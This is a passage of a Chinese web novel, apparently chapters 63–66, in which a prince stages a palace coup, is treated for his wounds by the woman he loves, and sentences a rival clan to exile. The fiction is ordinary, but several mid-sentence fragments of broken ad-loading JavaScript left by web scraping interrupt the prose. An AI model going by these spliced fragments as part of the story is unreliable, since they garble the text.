“又在想什么?”姜念念问他。 沈南寂下意识想要否认,就听到姜念念又道:“你每次想些奇怪的事情的时候,就是现在这个表情。不过我从来没问过你想了什么,不如今天趁着这个时间问问?” 听到姜念念的话后,沈南寂的眼睛微微瞪大,顿时也吓得不敢再想了。像是害怕姜念念会直接读懂他脑海里的内容似的,他甚至都屏住呼吸,脑子内也一片空白。 明明在不久之前还说了一些令人惊恐的话,结果现在又露出这样可怜兮兮的表情,仿佛自己受了天大的委屈一样。 姜念念打破了这一刻的沉默,继续问道:“怎么不说话了?” “姐姐不会觉得,我这样是不对的,然后离开我吗?”沈南寂小声问着。 其实在他说完那些话之后,就已经不敢再去看姜念念了,生怕从对方的眼中看到失望或是其他什么。他不知道这些想法从何而来,明明他和姐姐之间从来没有出现过这样的矛盾,可是他就是止不住地想。 “可是,你之前不是说……”姜念念的声音在沈南寂身前的位置响起,似是疑惑发问,“我的眼睛告诉了你,今天的我,不会拒绝你吗?” 闻言沈南寂猛地抬起头,他有些难以置信地看向姜念念,一眼便撞进对方带着笑意的瞳仁里。他像是在心底消化着姜念念刚刚那句话的意思,他不会反复询问求证,不是忘记了该如何询问,而是他害怕再次询问之后,会得到一个不愿意听到的答案。所以他会自己慢慢去想,直到所有的证据都指向最后一个结果。 63. 春雨 想明白了所有的事情后,他宛若受到了巨大的鼓舞,他不再徘徊不前,而是渴望着能够去亲手触碰到自己心心念念的那个人。 明明触手可及,却仍旧需要迈出向前的一步。 他想要去拥抱她,而这一次,也不会再只是想象。 姜念念接过迎面扑上来的身影,不过好在他也并没有直接将全部的重量压下来。他像是刚刚学会走路的孩童,努力去调整着方向,把握着平衡,不让自己摔倒。所以即使他曾在心中幻想了无数个类似的场景,此刻他也不知道该有什么其他的动作。 如果仅仅是这样,他也觉得知足了。 姜念念感觉到自己脖颈边被轻轻蹭了一下,有些痒,不过她也没说什么。等觉得时间差不多了,她才拍拍对方的后背,示意让人先起来。 “一直这样蹲着,不会觉得难受吗?”姜念念说罢要将他拉起来,可是却被沈南寂避开了手。 沈南寂摇了摇头,示意姜念念坐回去之后,自己则是又慢慢挪回到了先前的位置。 姜念念见状,有些哭笑不得,“这是什么习惯。” 沈南寂却不答,仍旧固执己见。姜念念没办法,也只好随他去了。 不过眼下,他们也还有其他事情需要谈,所以这段小插曲也还是要被揭过。 “我方才想了想,将军府答应这件事的话,一定是这件事里,也有对他们来说是既得的好处。”姜念念一秒恢复了认真,对沈南寂说道。 然而沈南寂却不愿回答她这个问题,“姐姐难道刚刚一直都在想这件事吗?” 姜念念:? 虽然知道这话很可能是对方故意说的,但姜念念还是解释道:“只是一时想到了,这要求应该也是你提的吧,他们就那么轻松就答应了?” 虽说沈南寂很想直接说,他都提要求了,将军府怎么敢拒绝,但他还是乖乖解答道:“段老将军知道我……我们之间的事,他应当也会觉得,只要有你在段家,那么我和段家之间的关联就不会轻易断掉。毕竟卸磨杀驴的事情,古往今来不知道有多少案例,他有所防备也是正常。” 而沈南寂也正是利用了这一点,从而达到了自己的目的。 这至少是在目前看来,最两全其美的法子。 说完之后,沈南寂便趁着姜念念没留神,直接拉过了她的手握在手里。也许是怕姜念念担心,亦或者是为了转移她的注意力,沈南寂又接着说道:“姐姐放心,等到宫中的事情结束了,我就将你接回宫中,不会让他们有苛待你的机会。” 姜念念本想说,其实这些天将军府的人也并没有苛待自己,反而因为看在他的面子上,对自己颇为照顾。不过想了想,还是没有多嘴,免得又让他不开心。 虽然沈南寂非常不想和姐姐分开,尤其还是他刚刚表明心意——可能对方早就知道——并且还接受了他的时候,就更加不想分开了,但如今还有无数的事情需要他去做,他也不得不和姐姐分开。 两人又呆了一阵后,终究还是要道别离开。沈南寂辞别了众人后,重新返回了皇宫。 或许是在一定事情上有着上帝视角,所以比起旁人担心的,沈南寂能否成功这件事上,姜念念是更加坚信沈南寂能够成功的。 而且她一旦想明白的事,就从来不会去怀疑,就像她确定了自己是在长久以来的相处中,也渐渐喜欢上了他的,并且也想要一直陪着他,所以也就不再瞻前顾后,而是更加直接地选择了和他在一起。 她知道沈南寂的一些心思,也明白他的顾虑,所以即便今天沈南寂不提,她也会挑选一个合适的机会,和沈南寂谈一谈的。 不过这件事情,目前看来已经不需要了。 在沈南寂离开之前,曾经跟她提起过,梁招国应该会在不久之后派使臣来明安国,这件事是之前就商定好的,不会轻易更改。只不过当时梁招国以为面见的是沈明承,而如今则不尽然。 关于梁招国的事情,沈南寂并不太担心,他只让姜念念那些天要留意一下慕辰朔的情况。因为梁招国来访,所有的宵禁和禁令都会解除,届时慕家人必然会乘机在京城找寻慕辰朔的下落。 “必要的时候,难免会见血,不过只要别让他们带走慕辰朔就行。”沈南寂这样说道,“慕家如今知道慕辰朔是一切的根源,他们在知道无法救走他之后,很可能会直接杀人灭口,嫁祸给我们,或者来个死无对证,都是有可能的。而且在见到慕辰朔之后,他们也可能会给出不同的反应,毕竟慕辰朔现在的情况,也同样可以让他们直接咬死慕辰朔什么都没做。” 虽然这些事不会造成多大影响,沈南寂也迟早会将慕辰朔带出来,可如果没有在计划之中,会很麻烦。 姜念念知道沈南寂的这些担心都并不是杞人忧天,她应下了沈南寂的请求,答应到时会去留意着慕辰朔周边的动静。 而在想着这件事的同时,姜念念同样有另一件事情需要考虑。 故事好像已经在朝着“大结局”的方向发展,所以姜念念也想起了沈南寂最后的命运。其实依照她对沈南寂的了解,他也不像是会英年早逝的样子,所以他的死可能另有其因。而为了避免历史再次重演,姜念念也需要在这之后,调查清楚原因。 由于先前已经答应过沈南寂,所以段右宏也丝毫没有含糊,趁着等待的时间,让姜念念成功进了段家。其实这也没什么太大的阻碍,段禹年和崔沚兰这两天也与姜念念熟悉了些,对她的印象也还不错,所以一切都还算得上顺利。 只不过进入段家,自然是要入族谱,更改姓氏。但最终在考虑了一番后,他们还是放弃了这个想法。 于是很快,整个将军府上下,都知道他们又多了一个小姐。段右宏他们并没有多介绍姜念念的来历,就只是说姜念念小时候算过命,不能养在将军府,所以一直都被养在了外面。虽然迷信,但大多数人也都接受了这个说法。所以对于姜念念为什么姓“姜”而不姓“段”这件事,也都自己给出了合理的解释。 但比起这件事,大家如今更关心的,反而是皇宫中的情况,对姜念念的出现反而没有太在意。但这样的结果,也正何姜念念他们的意,他们原本就是想要尽量不引人注目。 由于现在整个皇宫都不允许有 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 人出入,所以除了偶尔传出的风声,谁也不知道发生了些什么。不过直到几天后的一个晚上,所有人都听见了从皇宫方向传来的动静。 不仅是将军府,就连那些平民百姓,也都忍不住走到街道上,朝着皇宫的方向望去。于是原本该归于安静的街道上,一时人头攒动,摩肩接踵。 乌云遮蔽了夜空上的明月,黑暗笼罩了整座京城。今夜无风,但却变故丛生。只见在皇宫的方向,火光冲天,即便是隔着数丈距离,也仿佛能听见那里传来的兵刃相接的声音,哪怕看不见,也像是眼前已经出现了血流成河的场景。 “今夜过后,一切就都结束了。”段右宏站在屋檐下,同样眺望着那个方向。 比起街道上的那些百姓,将军府得到的消息更早一些,因为早在前日,沈南寂就已经吩咐将军府,秘密调兵潜入皇宫,包括之前跟随沈南寂一同回京的士兵,以及属于将军府的兵力。从那个时候,他们几人就已经知道,战争已经到了迫在眉睫的程度。 火光彻天,可是从他们这个方向看来,也不过是一小片。姜念念没说话,只沉默地看着那个方向。虽然知道最后的结果,但她还是有些担心沈南寂会不会受伤。 这场宫变几乎牵动着每一个人的心,今夜也注定会是一个不眠的夜晚。不知过了多久,天边乍起一声惊雷,将所有人的注意力都吸引了过去。这是今年的第一场春雷,它毫无预兆地惊起,像是在预兆着什么新的开始。 远处的喧闹似乎小了许多,也代表着这场战斗已然接近尾声。 天光已见曦色,一缕微凉的风吹过,随之而来的是银丝细雨。 不知为何,姜念念心中突然升起一种预感,她的视线转到了一个方向。 “念念,下雨了,我们先进屋避避雨吧。”崔沚兰在姜念念的身后唤道。自从姜念念入了族谱后,他们也不再称呼姜念念为姜姑娘,而是改唤起了她的名字。 姜念念听到崔沚兰的声音,先是摇了摇头,随后说道:“我想再等等。” 崔沚兰看了她片刻,最终还是没有再阻止她,而是宽慰她道:“殿下为这件事筹谋数年,结果几乎已经可以看见。况且现在这个时刻,也不会再出现什么变数了。” 姜念念微微颔首,“我知道。” “那好吧。不过外面起风了,如果你觉得冷的话,就进屋来。”崔沚兰对姜念念笑了笑,“我们都在等着好消息。” 姜念念应下,等到崔沚兰回屋之后,她又重新将视线落到远处。 正如崔沚兰所说,此时世界已经归于宁静。因为这场突如其来的春雨,就连街道上的人们也都回到了家中,在这还有些昏暗的世界里,春雨便是最后的谢幕。 突然,像是心有所感,姜念念向着一个方向望去。街道的转角处,出现了一道修长的身影。 来人换上了平日里常穿的长袍,手执一柄纸伞,在雨中一步一步向前,不紧不慢。靴子踩在水洼里,衣角有被雨水染湿的痕迹,可却丝毫不显狼狈。 似乎是察觉到了姜念念的视线,伞面微抬,下一刻,他们隔着一帘雨幕,遥遥相望。 64. 誓约 沈南寂在擒住沈东郢和沈如月,又清理掉藏在角落里的威胁,确定不会有任何的问题之后,他就直接离开了皇宫。在这样的时刻,他也还是希望有人可以与他分享这个喜悦。 此时坐在将军府中,沈南寂才真真切切地感觉到自己是身处在安全的环境中。 “殿下,事情都还顺利吗?”段右宏虽然已经猜到结果,毕竟沈南寂能出现在这里,就已经说明了一切,但他还是忍不住想要再次确认。 沈南寂点了点头道:“所有的威胁都已经被处理了。” 虽然表面上沈南寂只是将沈东郢和沈如月擒住,但是在暗地里,他不可能将这个威胁一直留在那里。也许他们到死也不会知道,他们那个一直在背后帮助他们的人,为什么会在最后抛弃他们,任由他们死在沈南寂的剑下。 “那陛下……”段右宏有些迟疑。 沈南寂摇了摇头。 段右宏心中有些紧张,“莫非已经……?” “快了。”沈南寂皱了皱眉,但没人知道他是怎么想的,“这次也是他们忍不住,想要直接动手,趁着没人注意的时候,直接取了陛下的性命。” 段右宏恍然大悟地点点头,并没有怀疑,不过一旁的姜念念心底却在想着,沈东郢他们突然沉不住气,是不是也有沈南寂的原因。毕竟沈西泽的前车之鉴就在那里,她虽然不知道沈南寂在这其中扮演着什么的角色,但总归不是真的置身事外。 姜念念此刻甚至已经在心底构建出了一个大概,比如沈南寂暗中给沈东郢他们传递消息,让他们直接处理掉沈明承。因为有了沈西泽这个成功的例子,沈东郢他们自然对这个背后之人深信不疑,认为这人是真的在帮他们,再加上他们自己手中也有军队,所以在包围了沈明承的寝宫,并且确定沈明承宫中真的没有人看守后,他们便想要直接动手,结果却被沈南寂抓了个正着。 好像无论从什么地方看,都是沈南寂一手促成这些事,他并不想要过多地等待,更多时候都是将时间控制在自己的计划中,然后速战速决。 “恭喜殿下终于得偿所愿。”段右宏道。 沈南寂并未答话,而是在思考着什么。 段右宏顿了一下,又试探着问道:“那殿下打算如何安置陛下?” 听到段右宏的这个问题,沈南寂才终于有了反应,只听他平静地宣告了沈明承的最终结局:“陛下如今久病不醒,虽然我也希望他可以再次醒来,可是明安国不可能一直停滞不前,等待他醒来的那天。我会在之前那安排将他送到一处不会有人打扰的行宫,然后让太医照顾他,直到他再次醒来的那天。” 他的话究竟有几分真心,谁都猜不到,不过这几乎已经告诉所有人,作为在这场宫变中活下来的那人,他会以胜利者的身份去走向那个位置。 说完这句话后,沈南寂就不再说话,不过因为以往他也会这样沉默地坐着想事情,所以旁人也都没有觉得这有什么不对。但姜念念却隐隐察觉到有些反常,至少沈南寂此时微皱眉头像是在忍耐着什么,根本不似从前的游刃有余。 从那样的环境下杀出一条路,即便是沈南寂,也未必就可以毫发无损地走出来。 “你受伤了?”姜念念突然出声问道。沈南寂一愣,下一秒就看到姜念念已经他面前,甚至都没有给他反驳的机会,直接询问道,“哪里伤到了?” 段右宏他们听到姜念念的话后,也有些慌张地看向了沈南寂,“殿下您受伤了?” 沈南寂被数道担忧的视线盯着,也知道瞒不过去了,只能答道:“只是小伤,而且已经包扎过了。” 当然,沈南寂没有说,当时给他包扎的太医也叮嘱过他,简单地止血根本无法起到恢复伤口的作用,最好还是要用药,然后多加休息。不过沈南寂心里还想着其他的事情,丝毫没有将太医的话放在心上,他换上了常服遮住那些伤处,就直接出了门。 此时姜念念仔细打量着沈南寂,就已经可以看出他眉眼间的疲惫,还有他那微微有些苍白的脸色。 段右宏很显然也觉得他的状态有些差,于是赶忙说道:“府上也有医师,殿下如果不放心宫中的那些太医给您治疗,不如让府上的医师看看?” “不用了。”沈南寂似乎是并不想让将军府的人插手这件事,起身就想离开,“我回去让宫里的太医……” 结果他还没说完,就被姜念念挡住了去路,她冲沈南寂笑了笑,“殿下如果不放心别人的话,我来替你上药吧。”说罢,她又转头看向段右宏,“劳烦祖父差人将药送来了。” 沈南寂觉得姜念念笑得有些可怕,然后在听到姜念念对自己的称呼,他心底便更觉大事不妙。等到姜念念说完,自顾自往回走的时候,他都不需要姜念念回头看他,脚已经下意识地跟上了她的脚步。 等两人回到姜念念的屋中后,沈南寂这才敢走到姜念念的身边,他有些小心地问道:“姐姐是生气了吗?” 姜念念没回答他,也根本没有理会他这想要示好和道歉的话,而是直接坐回到一旁的凳子上。沈南寂见状,刚想要走上前去,就听到门口传来一道熟悉的声音:“药我拿过来了。” 姜念念和沈南寂两人齐齐向门口望去,发现是刚才并没有在前厅的段云澜。他此时拿着伤药和一些纱布,正站在门口问话。 “多谢。”姜念念起身,从段云澜手中接过那些东西。 段云澜看了他们一眼,随后问道:“需要帮忙吗?” “不用。”这次没等姜念念开口,紧跟着走出来的沈南寂,直接一口回绝了段云澜的建议。 “……行,那我走了,有事让人叫我。”段云澜丝毫没有被拒绝后的不解和震怒,直接点头离开。 这次姜念念终于没再继续无视沈南寂,而是瞥了他一眼,无视了他那略带委屈的眼神,指示他道:“过去坐好。” 沈南寂自知这个时候忤逆对方会有很严重的后果,于是依言坐到桌前,顺带自觉地解 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 开了衣袍,将之前简单包扎过的伤处露出来。也许是此刻的气氛太过沉重,所以即便是在这样的环境下,也没有生出多少旖旎的情绪。 此时还是初春,骤然将皮肤露在空气中,还是会有一丝的凉意。姜念念担心他这样久了又会感染风寒,于是便快速拆了之前简单包扎的纱布。那些纱布已经染了血,看起来也是触目惊心。 可能是已经有过换药的经验,所以这次姜念念也比上次熟练了不少,不过一眼望去,伤处却是比上次多了许多。抛去那些相对小些的伤口不提,他的肩上以及后背上,都各自横亘着一道极深的伤口。即便是到了此刻,那些伤还在向外渗着血,根本没有自主愈合的能力。 明明伤口不在自己的身上,可仅仅是这样看着,姜念念就已经觉得自己在同样的位置,也被这样刺了一剑。 大概是见姜念念太久没有动作,也可能是感受到了她的目光,沈南寂微微侧身,似是安抚一般地冲她笑了笑,“姐姐放心,我没事。你可能不知道吧,我其实还是……很能忍受这种痛苦的,就算有时候会让你认为我很疼,也很可能是我装的……我不会真的让自己出事,毕竟我才刚刚靠近了你。” 最后半句话,沈南寂说得极为小声,像是在喃喃自语。 “所以,你就这样让自己处在危险当中?”姜念念终于开口和他说了第一句话,虽然语气责备,但更多的还是担忧。她知道这样的事无可避免,但她还是生气沈南寂这样不顾自己安危,明明知道自己受了伤,却还要在这种时候冒险出宫,“如果有人算准了你受伤,埋伏在你来的路上呢?” “我不会让这样的事情发生的。”沈南寂正色道。 姜念念感到疑惑,或者说从很早之前,她就有过一种奇怪的感觉,好像人人都笃定,沈南寂是可以预料到每一件事情的发生。 “你为什么会这么确定?”姜念念问他。 沈南寂沉默了一阵,随后轻笑道:“他们会在路上埋伏人,我也可以。只要提前将那些人清理掉,就不会有任何威胁了。” 这话看似无懈可击,可姜念念还是觉得有哪里不太对。她正想继续询问,就听到沈南寂说道:“姐姐可以先上药吗?好像有点冷。” 姜念念听到这话,注意力也被转移,暂时放下了这件事情,转而认真地给沈南寂上药包扎。她的注意力都在那些伤口上,所以自然也没有注意到,在她上药的时候,沈南寂微微垂下的瞳仁中,一闪而过的暗色。 等一切都完成之后,她这才说道:“以后不要再这样了。” 沈南寂笑了笑,已经恢复了往日的模样,“我保证,以后都不会再受伤了。我想和姐姐长命百岁!” 听到“长命百岁”这几个字时,姜念念不知是想到了什么,神情恍惚了一下。直到沈南寂出声询问,她才如梦初醒地摇摇头,表示自己没事,然后她回应了沈南寂方才的话:“那刚刚的话,我替你记住了。” 我们一起,长命百岁。 65. 宅院 在将军府又呆了片刻后,沈南寂便又要回皇宫。此时的宫中必然已经乱成一锅粥,他还需要去稳住局面。 临行前,沈南寂又给将军府的众人安排好了各自的任务,随后便离开了将军府。 望着沈南寂离去的背影,段右宏这才缓缓道:“接下来,就要看我们的了。” 这话像是在宣布开始,也像是一个警醒。一场春雨过后,乌云散去,微融的日光从东边的山影间露出来,带着暖意。 几日之后,沈南寂完成了登基大典,也算是真正向世人宣告了他的成功。接着他便将沈明承送去行宫,对外只说让先帝在那里养病。其余朝中即便有不看好沈南寂的,在这个眼看大局落定的情况,也只能偃旗息鼓。他们已经可以猜到,沈明承大抵是不会再醒过来了,即便他们找到沈明承,也不会改变任何结果。 因为是刚接手整个明安国的事务,所以沈南寂也忙了好一阵,他每天的睡眠时间一减再减,也根本没有机会去见姜念念,只能派人去将军府将姜念念接进宫,等天色将晚之后再送回去。朝中的人也都探听到了风声,不少人也明里暗里都和将军府有了来往。一时之间,将军府门前门庭若市,好不热闹。 所有人都在感慨,将军府的运气太好,居然借着沈南寂这缕东风,直接扶摇直上。就连刚刚接回来的女儿,都和沈南寂关系匪浅,没准将来这将军府还能出一位皇后。然而将军府上下对于自己如今这炙手可热的状态,倒是表现得不甚在意,该干什么还是干什么。 这样的日子,一直持续到梁招国派来使臣,先前颁发的禁令,在此时也彻底解除。 自打沈明承被送走后,后宫的那些嫔妃有些跟随沈明承一同去了行宫,有些则是直接自尽,唯独慕玲月还留在了宫中。只不过是从她以前的宫中,搬去了秦婉蓉曾经住过的冷宫。 沈南寂对这些人并不关注,他给了她们选择自己命运的机会。 冷宫的环境一如既往,而且因为久无人居住,也再次变得荒凉。这里死了太多的人,但慕玲月却并不害怕,她还有更重要的事情去做。不过偶尔闲下来的时候,她也还是控制不住地想起,曾经住在这里的秦婉蓉。 她想到她们曾经也是好友,却在之后的日子里,一步步走向了反目成仇的道路。想到秦婉蓉最后的死,慕玲月的心底生出了一种难言的情绪。 她不禁又想到了当初发生的那件事,那个从她宫中跑出去的宫女。不知为何,那时候再见的时候,她就好像并不认识自己一样,彻底与她断了往来。不过事到如今,她也不会再去想那究竟是什么原因了。 原先在慕玲月宫中的宫女太监,都在慕家落魄后逐渐走的走散的散,一直到如今,就连那最后一个愿意留下来的宫女,也被她找理由给打发了。 她能猜到自己的结局如何,既然知道自己生命的尽头在什么地方,那她也就没必要再白白让别人和她一起丢了性命。 她在冷宫住了几日,这里与世隔绝,也几乎没有人踏足,所以也没有人注意到她的异常举动。她像是并没有打算在这里长住,屋子与她来时几乎没有太大差别,只有床上铺的一床被子,显示着这个宫里目前是有人居住的状态。 但除此之外,宫里的其他地方,则丝毫没有人生活的痕迹。 慕玲月这些天也在暗中打探消息,在得到了宫中解除禁令的确切时间后,她就买通了一个宫人,然后从冷宫翻墙出去,再偷偷离开了皇宫。出来之后,她没有在外多做停留,而是径直朝着她之前打探过的慕辰朔的位置而去。 让她感到意外的是,在这一路上走着,根本没有遇到谁拦路。 她很顺利的抵达了关押慕辰朔的地方。 这是一个看似普通的宅院,也完全不像是有人在居住的样子。慕玲月确定周围没有其他守卫之后,这才悄无声息地潜进了院子里,可能是担心人多反而会引起他人的注意,所以院子里也并没有守卫。 整座宅子静悄悄的,像是真的无人居住。 慕玲月迟疑了一下,虽然心中有些怀疑,但最终她还是咬了咬牙,决定先找慕辰朔。她现在没办法联系慕家人,但是早在之前的时候,她就已经将慕辰朔的消息透露给了他们。如果她真的没有找到慕辰朔,那么他们也一定会继续寻找。 慕家将慕辰朔当成了东山再起的希望,即便到了如今这样的处境,他们也依旧觉得,只要慕辰朔被救出去,那一切就还有转圜的余地。慕玲月曾劝说过他们,可最终却不了了之,时间久了,慕玲月也就不再说这些话。 直到后来她得知慕辰朔想要谋反,她亲眼见到整个慕家都觉得慕辰朔做得对,从那时起,慕玲月就已经预见到了慕家的未来。但这次她没有再劝阻,而是无怨无悔地做着那个工具人,任凭他们借自己的帮助,一路顺风顺水,得意忘形,直到真相败露。 慕玲月站在一间厢房的门前,她听到屋内传出一些微小的动静,并未有过多的犹豫,她也不太想要去思考,如果这只是他们想要将慕家一网打尽的陷阱会怎样。 然而推开门的一瞬间,慕玲月被眼前的一幕震惊得愣在了原地。 屋内只有一个人,只不过慕玲月一时间没认出是谁。而地上还有不少食物,是滚落在地上的,沾满了泥土,成为了大大小小的一团,怎么看都是不能再进嘴了。可是那个人就像是丝毫没有意识到一样,捡起那些食物就要往嘴里塞。 慕玲月心底有些作呕,正要离去,结果就在这时,那人可能是听到了动静,倏地抬头看了过来。他的脚上戴着一条粗壮的锁链,破烂的衣服上还有一块块的暗沉印记。头发一缕缕乱糟糟地生长,早已打结难以再处理。可这些都不是最重要的,慕玲月在那一瞬间见到了那人的面 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 容。 很熟悉,但又陌生。 熟悉是这张脸还是她记忆中的样子,陌生是她也很久没有见到。他与记忆中的样子差别太大,以至于慕玲月一时间都没敢认。 良久,慕玲月才小心翼翼地试探着唤道:“小朔?” 可是,她根本没有得到自己想要的回应,她有些失望,开始怀疑是不是自己认错了人。但对面的慕辰朔则根本没有意识到慕玲月眼中的失望,他以为是又有人来送食物,于是撇下自己手上那味道不太好的球状物,拖拉着长长的锁链,一路爬到了慕玲月的面前,然后仰头望着她。 慕玲月看清了他的面容,那张清晰的脸就这么映在她的瞳孔里,即便他们已经多年未见,可是慕玲月还是确认了眼前的人,正是慕辰朔。 看到慕辰朔的现状,慕玲月的心底还是一阵哀戚,她不知道慕辰朔都经历了什么,但又感觉他的精神状态似乎有些不对。她正想要靠近慕辰朔,对面的人就像是察觉到了她的举动,朝着她龇牙咧嘴。 在慕玲月愣神之际,就听到身后传到一道声音:“贵妃娘娘,好久不见,我等您很久了。” 听到动静,慕玲月猛地回头看去,随即就见到站在那里,正笑着看她的姜念念。 “你怎么会在这里?”慕玲月问完,随后就意识到了什么。他们将慕辰朔关在这里,不就是为了抓他们的吗?这里看似没有守卫,但潜藏在暗处的人谁又能猜到会有多少。想到这里,慕玲月道,“你早就知道我会过来。” “我只是在等着慕家人,只是没想到会是您。”姜念念笑了笑,“慕家能找到这里,趁着这个时间找来,我们自然也会有所防备。” 慕玲月吃惊了一会后,也知道姜念念这话有道理,她的确不该小看了沈南寂。她看着面前的姜念念,多年未见,眼前的人与当初的她几乎天差地别,而这些变化无疑不在告诉她,今时早已不同往日。 “不用叫我贵妃娘娘了,如今的陛下,是那个人。”慕玲月道。 姜念念闻言一笑,“那还是叫娘娘吧,我已经习惯了。” 慕玲月不再反驳,似乎是不想再在这件事情上争辩。 “你来,是要抓我的吧?怎么还不动手?”慕玲月像是彻底放弃了一般,连想要拼命一试的力气都没有。 可姜念念却只耸了耸肩,“我只是来看着你,不让你带走他。其他的,不归我管。”她一边说着,还一边指了指慕辰朔。 慕玲月顺着她所指的方向看去,慕辰朔大概是见到人多,又退了回去,此刻已经重新抓起了先前的那团不明物体。她撇开视线,看回姜念念,“他怎么了?” “大抵是疯了。”姜念念不明白为什么,在说出这句话的时候,心底一片平静,甚至连共情都做不到。她有些恍惚的想,自己是不是也在慢慢变得冷情,对一切都漠不关心。 66. 流放 可这样的冷漠,却并没有让慕玲月冷静。在听到这个回答时,即便心中早有预料,可她还是感到一阵从心底生出的冷意,她不知道自己该露出什么样的神情,才算适应现在的情况。她庆幸慕家的一切终于到此为止,可是慕辰朔到底是自己的弟弟,她不可能真的对他如今的命运无动于衷。 她感觉到痛苦,却又觉解脱。她认为自己快要被这些情绪撕裂成两个人,一半在哭,一半在笑,直到她再次找回自己的神智。 “……” 周遭一片寂静,只有姜念念在平静地望着慕玲月,而现在慕玲月也在望着她。慕玲月不知道她在想什么,便只能问她:“你就这么告诉我了?你们不是一直在瞒着这件事吗?” “现在不需要了。”姜念念回答道。 她的意思是,就算现在慕家知道了,也不会有任何影响。一开始他们的确是不想让慕家知道,但这几天他们秘密清理掉了与慕家暗中有来往的人,所以现在这个威胁解除,单单一个慕家,已经彻底失去了反抗的能力。 听到姜念念的话,慕玲月也听出了她的言下之意,她一时心灰意冷,朝厢房外走了一步,“左右无事,不如我们来聊聊吧?” 姜念念闻言有些意外,不过很快她就欣然接受了慕玲月的邀请,她笑道:“请。” 说是谈话,便只是寻了个坐的地方,没有茶水糕点,没有仆人在侧。只有他们两人,面对面坐着。 慕玲月已经猜到了慕家的结局,所以她也懒得再去细问。她只是看着姜念念,细细打量,像是在琢磨着什么。 “娘娘想要聊什么?”姜念念打断了慕玲月的打量,问道。 她其实并不在意慕玲月的打量,只不过这样一直不说话的话,也会很耽搁时间。 慕玲月听到她的话后,这才重新将视线落回到她面上,而她的第一句话,就让姜念念有些困惑,“你还和沈南寂在一起?” 姜念念有些不解,“什么意思?” 慕玲月看着她,似乎有些怜悯,“你觉得你们在一起生活了这么久,就了解他了吗?于他而言,他只在乎他自己,别人都是可以随意利用的。今天他会因为你还有用处,将你放在心上,明天他就会因为你失去了价值,就将你弃之如敝履。” 姜念念看着慕玲月没有应声,但慕玲月却认为她是听进去了,于是她接着说道:“二皇子的事,不是最能说明一切吗?事已至此,我也不瞒你了,其实在之前,我也找过二皇子,希望他能帮慕家。在和他的交谈中,我得知了二殿下的身后,有一个暗中帮助他的神秘人。因为这个神秘人,所以他才能胜过太子。” 听到这里,姜念念的眼眸微凝,显然是没想到慕玲月居然还会知道这件事。然而并不知情的慕玲月,却以为姜念念是在惊讶,她也不认为姜念念会清楚这件事,于是她对自己接下来的话更加自信了些。 “神秘人具体是谁,我们都不得而知,但也不是完全推测不出。那人替二殿下胜过了太子后,表面上看二殿下几乎就已经提前预定了储君之位,可是仔细想想的话,这里还有一位得利者,那就是五殿下——现在该称他为陛下了。其实也不难猜测吧,不然那位神秘人,为什么一直都算无遗策,就连太子都被他算计出局,结果却在最后与沈南寂的交锋中落败?而且太子平日里行事都算稳妥,又为什么会突然那般急功近利,真的只是因为害怕地位受到威胁吗?还是他的背后,也有人在推波助澜呢?毕竟,死无对证。” “仔细想一想,这些事情无论怎样,最后的赢家都指向了一个人。所以无论怎么看,这个人神秘人,不是陛下本人,也会是他指使的。” 姜念念点了点头,表示自己在听。她知道慕玲月说的这些都是真的,如果不是她早先问过沈南寂,沈南寂也对她坦白了一切。今天只是听慕玲月说的话,她大概也会对沈南寂有所怀疑。 他的手段好像无所不用其极,难保自己不会在下一刻成为他的棋子。 可是,慕玲月知道的消息,到底还是不完全的。 慕玲月见姜念念的神情淡淡,以为她是不相信自己的话,想了想,突然又调转了话头,“你是不相信我刚刚说的?的确,那没有证据,不过我知道另一件,和你有关的事。” 姜念念听见与自己有关,一时来了兴趣,是真是假她也自有判断,“什么事?” “你知道,当初你们在离开京城,前往的时候,陛下是没有同意你离开皇宫的。可能是陛下觉得,有了你这样一个人质在,他就不会做多余的时未能给了。可是最后的情况你也看到了,你还是跟他一起去了西南郡,你知道为什么吗?” 姜念念想了想,回答道:“他跟我说,陛下让他答应了一件事。” “他是不可能答应的。”慕玲月笃定地说道。 “为什么?”姜念念有些好奇道。虽然现在这个情况看来,沈南寂的确不会答应沈明承,但慕玲月又为什么会这么笃定呢? “这也是我和你说,为什么我知道他不择手段的原因——他有足够的理由,在回到京城之前,向陛下出手。”慕玲月说道,“因为当初陛下对他说的是,只要你不再是一名普通的宫女,就可以和他一同离开。” “不再是普通宫女的意思是……”姜念念有些迟疑。 慕玲月适时地给出了答案:“比如通房丫鬟。” 姜念念怔了一下,这才明白当初她询问沈南寂时,对方为什么一直没有明说。不过姜念念有些奇怪,既然慕玲月知道沈南寂为了自己,都敢冒险对沈明承动手,又为什么会觉得他最终还会抛下自己?难道自己这个时候,对沈南寂来说,还有什么其他利用价值? 她正想要追问,结果就听到外面传来一阵喧闹声。两人的谈话被迫终止,下一刻院门被推开,沈南寂带着一群人闯了进来。 '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >沈南寂先是看向姜念念,对她露出了宽慰的神情,随后才看向慕玲月,似是嘲弄地笑道:“贵妃娘娘真是好雅兴,都这种时候了,居然还有心思聊天。” 慕玲月并没有在意沈南寂说了什么,她的视线落到了沈南寂的身后,她一眼就认出了那些被沈南寂擒获的人,全都是慕家人。 “你要做什么?”慕玲月恨恨地盯着沈南寂,问道。 “这些人意图救走朝廷要犯,我自然要将他们拿下。”沈南寂的神情看起来并无太大变化,仿佛就只是在叙述着这样的事实。 可是慕玲月却早已不愿继续这样不明不白地活着,永远提心吊胆,“你一直将慕家留在这里,给他们希望又偏偏不让这一切成真,你到底想做什么?” 沈南寂若有所思地点点头,“这些日子我的确忙于其他事,忘了你们慕家……”沈南寂沉吟片刻,而后蓦地一笑,“不如这样吧,慕家上下贬为庶民,然后流放边疆如何?我觉得,你们应当是喜欢那里的。” 沈南寂三言两语便决定了慕家的结局,他似乎也对这个结果很满意,当即就转身对身后的太监吩咐,预计着回宫后就拟旨。然而慕家人却极为震惊,本以为必死无疑的结局,如今却突然有了生得机会。 可是这样的结果,只会让他们觉得屈辱。 